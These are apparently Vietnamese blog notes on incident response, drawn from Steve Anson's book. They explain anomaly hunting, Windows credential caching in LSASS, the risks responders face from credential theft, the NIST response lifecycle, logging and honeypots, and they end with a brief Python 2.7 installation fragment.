Kerberoasting (sẽ thảo luận trong các bài sau) là một kỹ thuật được sử dụng để xác định mật khẩu của các tài khoản dịch vụ được tạo thủ công, nó sử dụng công cụ bẻ khóa mật khẩu như Hashcat. Để phòng tránh, các tài khoản dịch vụ phải được quản lý bởi Managed Service Accounts (MSAs). Cách tiếp cận này giúp cho các mật khẩu có độ phức tạp cao và ngăn chặn sử dụng các tài khoản này để tương tác.

Trên các hệ thống UNIX/Linux, ngoài nhóm người dùng cũng cần lưu ý đến ID người dùng. VD: ID bằng 0 là tài khoản người dùng có đặc quyền cao. Tệp /etc/passwd cần được chú ý với bất kỳ tương tác nào, các tài khoản chạy các dịch vụ trên hệ thống, chúng không nên được phép đăng nhập vào hệ thống một cách trực tiếp, trong tệp /etc/passwd nếu xuất hiện tài khoản có login shell mà dùng để chạy các daemon process thì rất đáng nghi ngờ. Ngoài ra cũng cần kiểm tra Pluggable Authentication Modules (PAMs), nó được dùng để xác thực tài khoản, kiểm tra các tệp cấu hình của PAM.

1.5. Các tệp tin bất thường

Hệ thống tệp tin có thể bị sửa đổi nhằm ẩn đi các công cụ độc hại của tin tặc, các tệp thực thi nếu nằm ở những thư mục tạm thời có thể rất đáng ngờ. Kẻ tấn công có thể che giấu tệp độc hại bằng việc thay đổi thành phẩn mở rộng của tệp tin (Windows). Trên các hệ thống tệp tin NTFS, mỗi tệp tin sẽ có nhiều thuộc tính khác nhau, các bài sau sẽ nói về Alternate Data Streams (ADS) thường bị lợi dụng để ẩn dữ liệu trên các hệ thống NTFS. Phần trước đã đề cập đến việc tin tặc có thể giả mạo tên của các tiến trình chuẩn, trong quá trình kiểm tra cần theo dõi cả đường dẫn tệp thực thi, tuy nhiên cũng có trường hợp tin tặc đặt tên với ý đồ gây nhầm lẫn, tên gần giống với tiến trình chuẩn và đặt cùng đường dẫn thực thi với tiến trình chuẩn. VD: scvhost

Trên các hệ thống UNIX/Linux, cho phép đặt tên với nhiều bộ ký tự hơn và điều này thường bị lạm dụng bởi tin tặc. VD: Đặt tên tệp là 1 ký tự khoảng trắng, đặt tên tệp với chữ hoa-thường giống với tiến trình chuẩn.

1.6. Các chương trình khởi động cùng hệ thống

Trên cả HĐH Windows, và UNIX/Linux sẽ có những vị trí đặt tệp hoặc những cấu hình mà cho phép chương trình được khởi chạy cùng hệ thống. Với Windows, một trong những cách đơn giản nhất đó là thêm vào một khóa Registry với giá trị trỏ đến đường dẫn của tệp thực thi, ví dụ một số vị trí có thể tạo khóa Registry khởi động chương trình cùng hệ thống:

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Sử dụng công cụ Autoruns trong bộ Sysinternal Suites của Microsoft có thể kiểm tra được rất nhiều autostart location: startup folder, registry keys, browser helper object, explorer shell extension, scheduled task,.v.v.. Trên UNIX/Linux cũng có nhiều cách để khởi chạy cùng hệ thống; Crontab, Systemd, init.d,.v.v..

• Autoruns: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

💡 Hiểu về các kỹ thuật tấn công có thể giúp ích rất nhiều cho bạn trong việc xác định các dấu vết của hoạt động độc hại. **ATT&CK Matrix** đã phân loại các hành động của những kẻ tấn công thành các nhóm chiến thuật khác nhau, mỗi nhóm mô tả chi tiết các kỹ thuật của hacker.

2. Bảo vệ thông tin khi ứng phó sự cố

Khi ứng phó sự cố, chúng ta sẽ phải đối mặt với nhiều loại thông tin khác nhau, cần phải có một phương thức để tìm kiếm thông tin từ xa. Trước tiên cần phải học cách làm sao để khi ứng phó sự cố chúng ta không vô tình làm cho sự cố trở lên nghiêm trọng hơn. Ở phần trước đã đề cập đến việc hacker sẽ chủ động tìm kiếm thông tin đăng nhập có đặc quyền cao để sử dụng trong quá trình chúng tấn công, xác thực các hệ thống khác. Trong quá trình ứng phó sự cố, người ứng phó sử dụng các tài khoản có đặc quyền cao để truy vấn các hệ thống từ xa, phân tích bộ nhớ hay các hệ thống bị ảnh hưởng ⇒ Chúng ta phải nhận thức được rằng, việc sử dụng các tài khoản đặc quyền cao này trên một hệ thống có khả năng hoặc đã bị xâm phạm sẽ có nguy cơ bị đánh cắp bởi hacker.

2.1. Hiểu về đăng nhập tương tác

Logon tương tác liên quan đến người dùng trực tiếp cung cấp thông tin xác thực cho một hệ thống. VD: Đăng nhập bằng username/password vào giao diện đăng nhập (LogonUI.exe). LogonUI.exe sẽ nhận được tên người dùng và mật khẩu sau đó chuyển chúng đến Local Security Authority Subsystem Service (LSASS). LSASS thực hiện việc băm mật khẩu nó nhận được (NTLM) và so sánh kết quả sau khi băm với mật khẩu đã băm được lưu trong Security Accounts Manager (SAM), nếu chúng khớp nhau thì xác thực được coi là thành công.

Với môi trường Domain, quá trình xác thực diễn có chút khác biệt so với Local. LogonUI.exe vẫn chuyển thông tin xác thực đến cho LSASS, LSASS vẫn tính toán băm nhưng thay vì nó so sánh với băm đã lưu trong SAM thì nó sẽ sử dụng các chức năng trong thư viện Kerberos.dll để gửi yêu cầu xác thực đến Domain Controller. Khi xác thực thành công, Domain Controller sẽ cấp vé Kerberos ticket-granting ticket (TGT) cho LSASS, vé này có thời gian hiệu lực nhất định (mặc định 10 tiếng).

Bất kỳ cơ chế xác thực nào được sử dụng thì LSASS vẫn lưu trữ giá trị NT Hash đã được tính toán và vé TGT nhận được từ Domain Controller trong không gian bộ nhớ của nó (RAM), điều này mục đích hỗ trợ cơ chế đăng nhập một lần của Microsoft (Single sign-on): Khi mà phiên đăng nhập đó chưa hết hạn thì người dùng sẽ không cần phải nhập lại thông tin đăng nhập để xác thực, LSASS sẽ sử dụng giá trị NT Hash hoặc Kerberos ticket-granting ticket (TGT) để “thay mặt” người dùng xác thực khi cần thiết.

Mặc dù cơ chế SSO này thuận tiện cho người dùng nhưng cần hiểu rõ rủi do sau: Giá trị NT Hash được sử dụng để thực hiện xác thực trong môi trường Windows ⇒ Sở hữu giá trị NT Hash không khác gì sở hữu mật khẩu của người dùng. Một điểm nữa, LSASS sử dụng NT Hash lưu trên bộ nhớ để mã hóa các Challenges trả về từ các hệ thống, với tài khoản Local sử dụng NT Hash trong SAM để mã hóa Challenges. Nếu Encrypted Challenges được tính toán tại Local khớp với Remote thì quyền truy cập được xác thực. Tương tự với TGT, nó được coi như tấm “hộ chiếu” của người dùng trong mạng, khi người dùng muốn truy cập hệ thống từ xa thì chỉ cần trình ra “hộ chiếu” cùng với quyền yêu cầu truy cập. Như vậy kẻ tấn công thường lợi dụng để mạo danh người dùng đã xác thực trong thời gian TGT chưa hết hạn, cộng thêm Domain Controller cũng không xác nhận xem người dùng có quyền truy cập vào tài nguyên hay không mà thay vào đó nó mã hóa các quyền truy cập bằng khóa bí mật được chia sẻ với các dịch vụ ⇒ Đây là cơ sở cho tấn công Kerberoasting sẽ trình bày chi tiết trong các bài sau.

Do đó bộ nhớ của tiến trình LSASS luôn là mục tiêu của hacker. Để có thể truy cập được vào bộ nhớ của LSASS thì hacker cần phải có đặc quyền quản trị trên hệ thống. Với thông tin về quản trị viên trên hệ thống Local đó, hacker sử dụng công cụ Mimikatz (https://github.com/gentilkiwi/mimikatz) để xác định và trích xuất thông tin đăng nhập.

Thời điêm hiện tại, hệ thống Windows băm mật khẩu và không đi kèm với Salt. Do đó những người dùng đặt mật khẩu giống nhau sẽ dẫn đến giá trị NT Hash giống nhau.

2.2. Phòng tránh các sự cố khi ứng phó

Có nhiều sự cố được gây ra bởi sự chủ đích của hacker với hy vọng rằng quản trị viên, helpdesk của tổ chức sẽ đăng nhập vào hệ thống diễn ra sự cố với tài khoản có đặc quyền cao. Do đó như thực hiện ứng phó sự cố, người tham gia cần phải nhận thức được rủi do này và có những hành động phù hợp. Một Logon tương tác là bất cứ phương thức đăng nhập nào có sử dụng username/password, nó có thể là:

• Đăng nhập trực tiếp tại máy tính (truy cập vật lý)

• Virtual Network Computing (VPN)

• Remote Desktop Protocol (RDP)

• Sử dụng các công cụ runas, psexec,.v.v..

⇒ Bất cứ khi nào LSASS nhận được thông tin đăng nhập nó sẽ thực hiện băm và lưu vào bộ nhớ ⇒ Đều có khả năng bị hacker dump. Một số dạng tấn công hacker sử dụng

• Pass-the-hash: Sử dụng thông tin đăng nhập đã được băm để xác thực

• Tương tự với Kerberos ticket-granting ticket (TGT)

Trên hệ các hệ thống *nix có sử dụng giao thức SSH để truy cập từ xa, một số hệ thống sử dụng ssh-agent để lưu các key tránh người dùng phải đăng nhập lại dẫn đến hacker cũng có thể lợi dụng để dump các key không được mã hóa.

2.3. RDP Restricted Admin và kết nối từ xa an toàn

Kể từ phiên bản Windows Server 2012, Microsoft giới thiệu tính năng mới nhằm giảm thiểu rủi do đánh cắp các thông tin xác thực từ bộ nhớ có tên là “Restricted Admin mode”. Chế độ này cho phép đăng nhập được thực hiện qua Microsoft Terminal Services Client (mstsc.exe), người dùng đăng nhập từ xa sẽ tiến hành nhập username/password tại ứng dụng Client, tại máy Server sẽ không tiếp nhận username/password trực tiếp mà chỉ là NT Hash do đó nó sẽ không lưu NT Hash vào bộ nhớ. Tuy nhiên phương pháp này đối mặt với kiểu tấn công khác là Pass-the-hash, vì vậy chế độ Restricted Admin được tắt theo mặc định và sẽ dẫn đến trường hợp là còn tính năng SSO, người dùng sẽ thường xuyên phải nhập lại username/password để xác thực.

Kể từ Windows 10 version 1607, Microsoft khắc phục nhược điểm của Restricted Admin Mode bằng Windows Defender Remote Credential Guard, sử dụng xác thực Kerberos, cách tiếp cận này sẽ chuyển hướng các Kerberos request trong phiên RDP. Tham khảo: https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard

3. Kết luận

Tiến hành phân tích hiệu quả một hệ thống Local hay Remote để xác định phạm vi của sự cố là rất quan trọng trong toàn bộ quá trình ứng phó sự cố. Những thông tin quan trọng như: Tên miền, Địa chỉ IP, Các tiến trình, dịch vụ, các cổng hay sự xuất hiện của các tài khoản lạ, các tệp bất thường,.v.v. đều rất quan trọng. Khi tiến hành ứng phó sự cố, người tham gia cần cẩn thận bảo vệ các thông tin đặc quyền, thông tin đăng nhập để tránh những tình huống làm cho sự cố trở lên nghiêm trọng hơn.

4. Tham khảo

• Steve Anson (2020). Applied Incident Response, John Wiley & Sons, Inc

1. Chuẩn bị về kế hoạch, quy trình ứng phó

Với bối cảnh của an ninh mạng hiện nay, các phương pháp bảo vệ, phòng thủ theo cách truyền thống không còn phù hợp, cần phải có một cách tiếp cận mới chủ động và phù hợp hơn. Cách tiếp cận đó được gọi là "Cyber Resiliency - Khả năng phục hồi".

Vào tháng 11 năm 2019, Viện Tiêu chuẩn và Công nghệ quốc gia Hoa Kỳ (NIST) đã công bố ấn phẩm đặc biệt với tiêu đề: "Developing Cyber-Resilient Systems: A Systems Security Engineering Approach". Tại phần D.1 của tài liệu này có trình bày về Cyber Resiliency như sau:

💡 Cyber Resiliency là khả năng dự đoán, chịu đựng, phục hồi và thích ứng được với các điều kiện bất lợi, căng thẳng, tấn công hoặc thỏa hiệp trên các hệ thống bao gồm tài nguyên mạng.

• Tham khảo: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf

Khái niệm này cho thấy được rằng, ngăn chặn được mọi cuộc tấn công mạng (CyberAttack) là không thể và cuối cùng một "kẻ thù" nào đó rồi cũng sẽ xuất hiện trong môi trường của bạn. Nhận ra điều này, chúng ta cần chuyển từ tư thế Phòng chống truyền thống sang tư thế Phòng chống + Phát hiện + Phản ứng là rất quan trọng đối với sự an toàn của mọi hệ thống mạng.

• Phòng chống: Vẫn là nền tảng của bảo mật thông tin từ trước đến nay, khi có nhiều lớp bảo vệ thì kẻ tấn công sẽ càng khó tiếp cận tài sản của tổ chức. Tuy nhiên, đến cuối cùng thì những lớp phòng thủ này có thể cũng sẽ không thể ngăn cản được kẻ tấn công.

• Phát hiện: Khi xảy ra sự cố, lúc này sẽ còn phụ thuộc vào khả năng điều tra, phân tích,.v.v. Ngoài việc phát hiện còn cần phải hiểu bản chất của các thành phần độc hại đó thì mới phản ứng hiệu quả.

• Phản ứng: Quá trình phản ứng lại với sự cố sẽ tìm cách loại bỏ các thành phần độc hại khỏi môi trường, khôi phục các hoạt động bình thường của hệ thống. Tuy nhiên, ngoài việc xử lý các mối đe dọa ngay lập tức thì trong quá trình phản ứng với sự cố cũng cần phải tìm hiểu thêm về các Threat Actor và tại sao hệ thống phòng thủ không thể ngăn chặn được.

💡 Phòng chống - Phát hiện - Phản ứng tạo thành một chu trình không bao giờ kết thúc.*

Lưu ý rằng Incident Response cũng là một phần của quá trình phòng thủ một cách tích cực. Để đạt hiệu quả hơn, người làm IR cần phối hợp với nhóm Giám sát an ninh mạng, nhóm Quản trị hệ thống (System Administrator), nhóm Quản trị mạng. Nhóm IR cần được hỗ trợ các tài nguyên kỹ thuật bổ sung khi cần thiết, xác định phạm vi sự cố, lên kế hoạch để khắc phục những tác động của kẻ tấn công, kế hoạch này nên được truyền đạt và phối hợp với các nhóm khác.

Có nhiều mô hình cho việc xây dựng quy trình Incident Response, dưới đây là mô hình được giới thiệu bởi NIST trong tài liệu NIST.SP.800-61r2 có tiêu đề: "Computer Security Incident Handling Guide".

• Tham khảo tại: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf

Mô hình gồm 4 giai đoạn chính:

1. Preparation - Chuẩn bị

2. Detection and Analysis - Phát hiện và Phân tích

3. Containment, Eradication, and Recovery - Ngăn chặn, loại bỏ, phục hồi

4. Post-Incident Activity - Hoạt động sau sự cố

Có 2 chu kỳ con trong toàn bộ quy trình IR:

• Chu kỳ 1: Detection and Analysis sẽ cung cấp thông tin được sử dụng trong quá trình Containment, Eradication, and Recovery

• Chu kỳ 2: Post-Incident Activity sẽ đánh giá, nhìn nhận lại sự cố sau đó đúc rút ra bài học để củng cố lại cho Preparation như là để chuẩn bị cho các sự cố lần sau.

Ý tưởng của quy trình xử lý sự cố này như một chu kỳ đang diễn ra chứ không phải là một nhiệm vụ ngắn hạn ⇒ Đây là một tư duy quan trọng trong bối cảnh CyberSecurity hiện nay. Quá trình Phản ứng lại với sự cố như một cái gì đó sử dụng thường xuyên chứ không phải chỉ khi gặp sự cố khẩn cấp mới áp dụng.

Một mô hình phổ biến khác là PICERL, tên của nó được đặt theo các chữ cái đầu trong mỗi giai đoạn: Preparation, Identification, Containment, Eradication, Recovery và Lessons Learned. Mô hình này khá giống với mô hình đưa ra của NIST, tuy có khác nhau về thuật ngữ nhưng ý nghĩa thì không thay đổi.

Thông thường, sự cố thường được xác định hoặc phát hiện với một bất thường nào đó. Sự bất thường này sẽ được phân tích để xác định lại xem nó có độc hại hay không, trong quá trình phân tích sẽ thu được những thông tin bổ sung có thể đc sử dụng để xác định được các hành vi đáng ngờ khác trong cùng hệ thống. Khi xác định được sự bất thường đó là độc hại, ảnh hưởng đến hệ thống thì các bước ngăn chặn có thể được thực hiện ngay lập tức hoặc có thể tiếp tục phân tích nhằm xác định phạm vi của sự cố sau đó mới thực hiên các bước ngăn chặn, giảm thiểu thiệt hại. Sau cùng là tiến hành bóc gỡ, loại bỏ các thành phần độc hại trên hệ thống và khôi phục lại các hoạt động bình thường.

Có thể chọn bất kỳ một mô hình nào để làm cơ sở cho quy trình IR của nhóm bạn, điều quan trọng là quy trình phải được ghi lại rõ ràng, các thành viên phải được đào tạo, vai trò của mỗi thành viên than gia vào IR phải cụ thể. Các cấp từ lãnh đạo đến nhóm IR, đến các đơn vị liên quan cần được biết về quy trình này và phải có sự phối hợp giữa các bên. Chuẩn bị sẵn sàng cả về vật tư, quyền truy cập của thành viên trong nhóm IR, về thời gian truy cập vào các hệ thống xảy ra sự cố và giao tiếp với các bên liên quan đảm bảo quá trình IR diễn ra suôn sẻ.

Các yếu tố khác như ràng buộc trong hợp đồng xử lý IR, vấn đề về pháp lý cũng rất quan trọng. Đội pháp lý của bạn cũng nên tham gia vào việc quyết định khi thực hiện, tránh những sự cố ngoài ý muốn.

2. Chuẩn bị về con người

💡 Preparing Your People

Người phụ trách IR đòi hỏi phải có kiến thức và hiểu biết về nhiều mảng kiến thức. Ngoài việc đào tạo chuyên môn kỹ thuật cho nhóm IR, thành viên của IR Team cũng phải được đào tạo cả về quy trình lẫn chính sách.

Tham gia vào các cuộc thi, thử thách là một cách tốt để rèn luyện kỹ năng IR. Việc thực hành thường xuyên giúp người chơi quen dần với các kịch bản ứng phó sự cố, khi phải chịu những áp lực và căng thẳng như khi tham gia ứng phó sự cố trong thực tế.

Trong quá trình làm IR, đôi khi chúng ta bị tập chung quá mức vào việc cố gắng thực thi được các lệnh, chạy được công cụ hay đôi khi cố gắng muốn hiểu rõ những đoạn logs này có ý nghĩa gì,... một cách không thực sự cần thiết! Khi đó chúng ta sẽ không thể tập chung vào được cái gọi là bức tranh toàn cảnh, người tham gia IR phải nhận thức, đánh giá được tình huống về sự cố. Lý tưởng nhất đó là người làm IR chỉ cần thành thạo các kỹ năng cốt lõi và thực sự cần thiết phục vụ công việc, thay vào đó sẽ tập chung vào các câu hỏi điều tra cấp cao hơn để tìm ra bản chất vấn đề.

Robert M. Lee đã có một trích dẫn rất hay trong bài báo: "The Sliding Scale of Cyber Security" của anh ấy. Tham khảo: https://www.sans.org/white-papers/36240/

💡 Bản thân một hệ thống không thể tự mình phòng thủ một cách tích cực được. Các hệ thống chỉ chỉ như là công cụ cho những người làm công việc "phòng thủ" (Cyber Defense). Điều mà khiến cho các mối đe dọa ngày càng tiên tiến và trở lên nguy hiểm là những kẻ đứng sau nó chủ động thích ứng, biết cách vận dụng kiến thức, nâng cao trình độ. Để chống lại những đối thủ này đòi hỏi người làm phòng thủ cũng phải linh hoạt, thông minh không kém.

Active Defense thể hiện rõ quan điểm rằng yếu tố con người mới là quyết định chính chứ không phải công nghệ hay máy móc mới có thể bảo vệ được hệ thống mạng của tổ chức. Quá trình IR đôi khi không phải tập chung quá nhiều vào một vấn đề kỹ thuật, mặc dù phân tích kỹ thuật toàn diện có thể được yêu cầu, điều quan trọng là cần đánh giá chính xác sự cố, duy trì và đảm bảo nguồn nhân lực sao cho hiệu quả nhất. Quan trọng là nhóm tham gia IR phải có người quản lý để có thể điều phối đúng người đúng việc đồng thời cũng giữ vai trò đầu mối với các lãnh đạo, các bên liên quan, công việc này không dành cho một người thuần kỹ thuật đang trực tiếp tham gia IR được vì nó gây mất tập chung với lượng thông tin vào quá tải dẫn đến hiệu quả không cao.

Quá trình Incident Response có thể tạo ra một lượng lớn thông tin, bao gồm: thông tin Logs, IOCs, Tactics, Techniques and Procedures (TTPs) được sử dụng bởi kẻ tấn công (Threat Actor), ngoài ra còn có các yêu cầu từ các đơn vị kinh doanh bị ảnh hưởng bởi sự cố, thông tin hậu cần, các khuyến nghị khắc phục,.v.v... Quản lý tất cả các thông tin là rất quan trọng và đầy thách thức, IR Team cần xem xét và sử dụng một hệ thống quản lý các thông tin này một cách hiệu quả. Dưới đây là một số dự án nguồn mở giúp IR Team làm việc này:

• Request Tracker for Incident Response (RTIR): https://bestpractical.com/rtir

• Fast Incident Response (FIR): https://github.com/certsocietegenerale/FIR

• TheHive: https://thehive-project.org/

Một số lưu ý quan trọng khi thực hiện Incident Response:

• IR = Con người + Quy trình + Công nghệ ⇒ Vẫn phải duy trình hoạt động an ninh của hệ thống (OPSEC) trong lúc thực hiện IR.

• Thực hiện IR có thể gặp phải thông tin nhạy cảm của tổ chức ⇒ Quan tâm đến cả vấn đề pháp lý

• Hoạt động IR không phải ai cũng được biết, rất có thể kẻ thù là chính người trong nội bộ ⇒ Hạn chế thông tin, chỉ những ai cần được biết mới cho biết

• Các kênh liên lạc về sự cố phải được an toàn ⇒ Tránh đối thủ hoặc người không liên quan, không có quyền biết được

• Quá trình điều tra thực hiện trên bản sao, hệ thống clone hoặc backup,... tránh việc đánh động hoặc tương tác trực tiếp với đối thủ ⇒ Đối thủ có thể phát hiện và thay đổi chiến thuật

• Dữ liệu liên quan đến sự cố cần được lưu trữ, bảo quản an toàn (mã hóa dữ liệu, két sắt với thiết bị,.v.v.). Khi dữ liệu hoặc thiết bị được bàn giao hay chuyển cho người khác phải có giấy tờ, tài liệu lưu ký lại.

3. Chuẩn bị về công nghệ

💡 Preparing Your Technology

Sau khi đã chuẩn bị về con người: các vai trò được chỉ định, mục tiêu và sứ mệnh được xác định, các vấn đề về trách nhiệm và pháp lý đã rõ ràng cũng như các kiến thức kỹ thuật đã được đào tạo; về quy trình và chính sách đã hoàn tất đã đến lúc phải giải quyết một trong những thách thức lớn nhất đối với hầu hết các tổ chức, đó là: Chuẩn bị về công nghệ.

Dữ liệu phục vụ công tác IR như: logs, network packet captures, các sự kiện khác,.v.v. có yếu tố quyết định then chốt, chúng sẽ tái tạo lại hoạt động của những kẻ tấn công. Nếu khâu thu thập những dữ liệu này thất bại hay có sai sót thì quá trình IR coi như thất bại.

Khi thực hiện IR, cần phải xác định được một hệ thống như thế nào mới là bất thường, để biết được thì cần phải quay lại vấn đề là một hệ thống hoạt động bình thường là như thế nào. Một hệ thống CNTT mà hỗn loạn, không có một tiêu chuẩn hóa nào, không có tài liệu xây dựng hệ thống, không có sơ đồ mạng hoặc sơ đồ không chính xác, các thành phần trong hệ thống CNTT đã lỗi thời, không có hồ sơ quản lý những thay đổi và cập nhật,.v.v.. ⇒ Việc xác định sự bất thường là điều gần như không thể.

Duy trì một hồ sơ khi hệ thống CNTT ở trạng thái bình thường là rất quan trọng cho quá trình IR.

• Nắm rõ các tiến trình, dịch vụ, cổng thường chạy trên hệ thống

• Nắm rõ được các thay đổi như các bản update, bản vá trên hệ thống

• Nắm rõ được sơ đồ mạng, các thành phần trong hệ thống

• Nắm rõ được lưu lượng, mức độ sử dụng tài nguyên của hệ thống

• ...

Nếu những yêu cầu này chưa được giải quyết thì khuyên bạn không nên chi trả bất kỳ khoản phí nào cho các công nghệ bảo mật nâng cao, công nghệ sử dụng trí tuệ nhân tạo hay dịch vụ xử lý sự cố được mời chào. Thay vào đó hãy phân bổ, quy hoạch lại hệ thống cho tối ưu và hiểu thật rõ về hệ thống của chính mình mới là thứ cần phải làm trước tiên.

Một hệ thống mạng được quy hoạch tốt là hệ thống được phân chia theo các cụm riêng biệt (VLANs), không thể từ trong một mạng có thể kết nối sang mạng khác dễ dàng mà không có sự kiểm soát được, điều này rất nguy hiểm và nó không gây bất cứ một trở ngại nào cho kẻ tấn công một khi có được chỗ đứng trong mạng của bạn. Mỗi hệ thống mạng con (cụm) cần được bảo vệ bởi các hệ thống phòng thủ, cản trở hoặc gây “ức chế” cho các hành động của kẻ tấn công, hoạt động trong mạng phải được kiểm soát và lưu lại và có cơ chế cảnh báo.

💡 Zero-Trust Network - Kiến trúc này nhấn mạnh việc sử dụng Micro-Segmentation, tường lửa nhận biết được ứng dụng (Layer 7), truy cập với đặc quyền tối thiểu và nhiều công nghệ liên quan khác nhằm hạn chế hoạt động của người dùng và ngăn chặn các hoạt động độc hại của đối thủ lây nhiễm sang các hệ thống khác.

3.1. Đảm bảo khả năng bao quát toàn hệ thống

💡 Ensuring Adequate Visibility

Khả năng bao quát toàn hệ thống ở đây có thể hiểu là hệ thống mạng được cấu hình, triển khai hệ thống giám sát đầy đủ từ các thiết bị mạng: firewall, router, switches đến máy chủ, máy người dùng,.. Những dữ liệu này cần được quản lý và khai thác một cách hiệu quả, để phục vụ cho nhu cầu này nhiều tổ chức đã đầu tư vào một hệ thống gọi là Security Information and Event Management (SIEM). Một thách thức với bất kỳ hệ thống SIEM nào đó là lượng dữ liệu đổ về quá nhiều, thậm chí là các dữ kiện không thực sự có giá trị dẫn đến một hệ quả là hệ thống trở lên quá tải và chậm chạm, trong ngữ cảnh của Ứng phó sự cố đôi khi yếu tố tốc độ cũng rất quan trọng. Điều này có thể khắc phục bằng việc xây dựng một giải pháp “SIEM Chiến thuật”, riêng biệt mà ở đó chỉ tập chung vào các sự kiện bảo mật có giá trị cao, quan trọng. Một vài ví dụ:

• DNS Logs: Liên quan trực tiếp đến hạ tầng C2 của tin tặc. Có thể giám sát một danh sách các C2 hoặc tìm được trong quá trình điều tra, phân tích một hệ thống bị lây nhiễm ⇒ Nhanh chóng xác dịnh được máy nào đã phân giải tên miền độc hại này ⇒ Xác định được phạm vi ảnh hưởng

• System logs: với Windows thì là Windows Event Logs, với *nix thì có Syslog Service phụ trách ghi và gửi log ⇒ Các log này có thể là: logs xác thực thành công hoặc thất bại, logs truy cập dịch vụ, log truy cập các tệp quan trọng, logs các kernel module được load,.v.v.

• Logs của các Security Product: EDR, AV Software, 3rd Software

• Logs các thiết bị di động, các thiết bị IoT ⇒ Mỗi thiết bị tham gia mạng đều có thể là một mối đe dọa

• Logs từ các thiết bị mạng, các hệ thống tại biên của mạng ⇒ Khi xác định được một IP độc hại có thể theo dõi được luồng đi trong hệ thống.

• Logs từ các hệ thống Firewall, Sandbox, IDS/IPS, DLP, Network Security Monitoring,.v.v..

3.2. Đảm bảo về trang bị phần cứng, phần mềm

💡 Arming Your Responders

Nhóm IR cần được cung cấp các thiết bị vật lý cần thiết, cho đến việc sử dụng một kết nối mạng internet riêng với tốc độ cao để có thể kết nối và phân tích từ xa, việc này sẽ phụ thuộc vào môi trường và điều kiện của tổ chức. Ngoài ra nhóm IR sẽ làm việc trên các dữ liệu bằng chứng số nên các công cụ, giải pháp được sử dụng cũng cần đảm bảo được cài đặt, cấu hình trước đó và đã được thử nghiệm. Trong một số trường hợp thì các thiết bị vật lý chuyên dụng sẽ rất quan trọng.

Một hệ thống phức tạp, nâng cao như Sandbox hay các công cụ chuyên dụng dùng trong quá trình phân tích mã độc, phân tích gói tin, trích xuất bộ nhớ RAM hay tạo image từ ổ cứng cũng cần phải được cài đặt và thử nghiệm trước đó.

Những dữ liệu hỗ trợ trong quá trình phân tích như: Giá trị băm của mẫu đã biết, các quy tắc YARA cho các tệp nghi ngờ, các signature để quét các tệp,.v.v.. cần phải được duy trì trên một Cơ sở dữ liệu. Các công cụ sử dụng để phân tích cần được cập nhật và nó nên là phiên bản mới nhất. Nhóm IR cũng cần duy trì các tài liệu, hồ sơ các cấu hình, công cụ,.v.v..

Các thiết bị, công cụ,.v.v. gọi chung là tài nguyên để phục vụ cho công việc IR nên được kiểm tra, bổ sung theo định kỳ để đảm bảo đáp ứng được nhu cầu của tổ chức.

3.3. Đảm bảo hoạt động kinh doanh và Phục hồi sự cố

💡 Business Continuity and Disaster Recovery

Business continuity and disaster recovery (BCDR) là thuật ngữ được sử dụng cho nhiều quy trình khi thiết kế để đảm bảo các hoạt động vẫn được tiếp tục khi phải đối mặt với các thảm họa. Trong bối cảnh của an ninh mạng hiện nay, chúng ta nhận ra được rằng không thể tránh khỏi một sự cố bảo mật xảy ra. Khi gặp một sự cố nghiêm trọng có tầm ảnh hưởng lớn, nó đòi hỏi sự phối hợp của các bên và các tổ chức.

Trong nhiều tình huống, việc đưa ra quyết định ngăn chặn ngay mối đe dọa hay tiếp tục giám sát để thu thập thêm thông tin về chúng cũng cần phải được bàn bạc. Phương pháp ngăn chặn cũng phải được lựa chọn, ví dụ: Việc phân chia hệ thống mạng một cách khoa học theo từng cụm sẽ dễ dàng quản lý hơn, khi có sự cố thì việc cách ly hệ thống bị lây nhiễm ở cấp độ mạng là tốt hơn so với việc phải tắt nguồn điện hệ thống vì những hành động này có thể làm hỏng hoặc mất bằng chứng số.

3.4. Các chiến thuật ứng phó với tin tặc

💡 Deception Techniques

Trong quá trình thực hiện IR, các hệ thống phòng thủ có thể sẽ được kích hoạt, điều này sẽ tạo ra khó khăn cho các Threat Actor và buộc chúng phải thay đổi chiến thuật, sử dụng các kỹ thuật khác nhau để đạt được mục đích của mình. Điều này đồng nghĩa cũng sẽ tạo ra nhiều "ồn ào" trong hệ thống và sẽ dễ bị phát hiện hơn. Các hệ thống Honeypots lúc này thực sự rất hữu dụng cho việc theo dõi các hành động của Threat Actor. Hệ thống Honeypots bắt chước càng giống với hệ thống thật sẽ càng tốt. Một số Honeypots nguồn mở:

• The Artillery: https://github.com/BinaryDefense/artillery

• Cowrie SSH/Telnet Honeypot: https://github.com/cowrie/cowrie

• WebLabyrinth: https://github.com/mayhemiclabs/weblabyrinth

• Modern Honey Network: https://github.com/pwnlandia/mhn

Các thông tin xác thực có thể được lưu trữ trên bộ nhớ của hệ thống, kẻ tấn công thường lợi dụng điều này để tiến hành trích xuất chúng từ bộ nhớ. Trong các hệ thống Honeypots, chúng ta có thể tạo các mật khẩu băm giả, với thông tin tài khoản giống như tài khoản thật để đánh lừa đối thủ. Một tài khoản quản trị viên với mật khẩu mạnh nhưng không bao giờ dùng tài khoản này trong môi trường Product, một khi kẻ tấn công sử dụng tài khoản này để xác thực thì hệ thống sẽ sinh cảnh báo, từ đó chúng ta có những chiến thuật điều tra khác nhau. Một ví dụ khác đó là với các tệp tin giả mạo, chúng ta sử dụng các tệp này như "mồi nhử" hacker, các tệp trông có vẻ chứa dữ liệu quan trọng và một khi có bất kỳ tương tác nào liên quan đến tệp tin này sẽ được cảnh báo.

4. Kết luận

💡 Conclusion

Incident Response nên được coi như là một phần tích hợp vào hệ thống Cyber Resiliency. Cần chuẩn bị sẵn sàng từ con người, quy trình đến công nghệ, nếu không một khi sự cố bảo mật nghiêm trọng xảy ra, thiệt hại sẽ rất lớn. Trong phần tiếp theo, tôi sẽ trình bày các kỹ năng, kỹ thuật cần thiết để thực hiện một cuộc IR hiệu quả.

5. Tham khảo

• Steve Anson (2020). Applied Incident Response, John Wiley & Sons, Inc

Cài đặt Python 2.7.18

• Download: https://www.python.org/downloads/release/python-2718/

Cài đặt Microsoft Visual C++ Compiler for Python 2.7

